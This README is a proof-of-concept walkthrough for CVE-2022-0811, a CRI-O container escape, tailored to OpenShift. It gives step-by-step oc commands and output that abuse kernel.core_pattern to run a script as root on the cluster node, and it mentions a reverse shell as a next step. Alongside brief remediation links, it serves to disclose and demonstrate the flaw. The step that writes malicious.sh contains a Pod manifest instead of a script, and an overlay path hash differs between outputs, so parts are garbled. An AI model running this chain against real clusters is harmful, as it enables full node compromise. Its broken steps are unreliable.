README.md

Proof of Concept: Leveraging CVE-2022-0811 to Compromise Kubernetes

Many thanks to CrowdStrike cloud security researchers. This quick quide was created with their findings and tailored for OpenShift specifically.

Description

A flaw was found in CRI-O in the way it set kernel options for a pod. This issue allows anyone with rights to deploy a pod on a Kubernetes cluster that uses the CRI-O runtime to achieve a container escape and arbitrary code execution as root on the cluster node, where the malicious pod was deployed.

Directly Affected Software

• CRI-O version 1.19+

Indirectly Affected Software and Platforms

While the vulnerability is in CRI-O, software and platforms that depend on it are also likely to be vulnerable, including:

• OpenShift 4.6+
• Oracle Container Engine for Kubernetes

Remediation

• Red Hat OpenShift - CVE-2022-0811

External References

• CrowdStrike

• GitHub cri-o

Overview

This proof of concept (POC) uses a malicious PodSpec to set the kernel.core_pattern kernel parameter, which specifies how the kernel should react to a core dump. In this case, we’ll tell it to execute a binary hosted in another pod. That binary will be run as root outside of any container. Finally, we’ll trigger a core dump causing the kernel to invoke the malicious executable.

Startup Pod to Host Malicious Executable

$ oc create -f ./malicious-script-host.yaml

pod/malicious-script-host created

Determine Root Path From Host Mount Namespace

This is the path to the root of the container from the perspective of the kernel.

$ oc exec malicious-script-host -- mount | grep overlay | awk -F, '{ print $6 }'

upperdir=/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e/diff

Copy contents of malicious.sh

$ oc exec malicious-script-host -- /bin/bash -c "cat <<EOF > /tmp/malicious.sh
apiVersion: v1
kind: Pod
metadata:
  name: malicious-script-host
spec:
  containers:
  - name: ubi-8
    image: registry.access.redhat.com/ubi8/ubi:8.5-236
    command: ["tail", "-f", "/dev/null"]
EOF"

Modify script permissions and verify

$ oc exec malicious-script-host -- /bin/bash -c 'chmod 755 /tmp/malicious.sh && ls -al /tmp/malicious.sh'

-rwxr-xr-x. 1 root root 197 Mar 17 19:22 /tmp/malicious.sh

Use Second Pod to Point Core Pattern to Malicious Script

NOTE: You must ensure this pod runs on the same node as the malicious script pod.

$ oc create -f ./sysctl-set.yaml

pod/sysctl-set created

$ oc get pods

NAME                    READY   STATUS              RESTARTS   AGE
malicious-script-host   1/1     Running             0          14m
sysctl-set              0/1     ContainerCreating   0          68s

Whether or not the sysctl-set pod starts, it will successfully update the node-wide core_pattern to point into our malicious-script-host container.

$ oc exec malicious-script-host -- /bin/bash -c "cat /proc/sys/kernel/core_pattern"

|/var/lib/containers/storage/overlay/3ef1281bce79865599f673b476957be73f994d17c15109d2b6a426711cf753e6/diff/tmp/malicious.sh #

First enable core dumps:

$ oc exec malicious-script-host -- /bin/bash -c "ulimit -c unlimited && ulimit -c"

unlimited

Note for ubi8 image ps will need to be installed via

$ oc exec malicious-script-host -- /bin/bash -c "yum install procps-ng -y && ps --version"

Installed:
  procps-ng-3.3.15-6.el8.x86_64
ps from procps-ng 3.3.15

Now trigger the core dump:

$ oc exec -it malicious-script-host -- /bin/bash

$ tail -f /dev/null &

$ ps

PID   USER     TIME  COMMAND
    1 root      0:00 tail -f /dev/null
   34 root      0:00 /bin/bash
   42 root      0:00 tail -f /dev/null
   43 root      0:00 ps

$ kill -SIGSEGV 42

[1]+  Segmentation fault (core dumped) tail -f /dev/null

Verify Malicious Script Ran 💥 🍺

$ oc exec malicious-script-host -- /bin/bash -c 'cat /output'

Wed Feb 23 14:20:07 UTC 2022
root
ocp-cluster

This script was invoked by the kernel outside of the container namespace with root privileges. A real attacker could, as an example, run a reverse shell and gain full control of the node.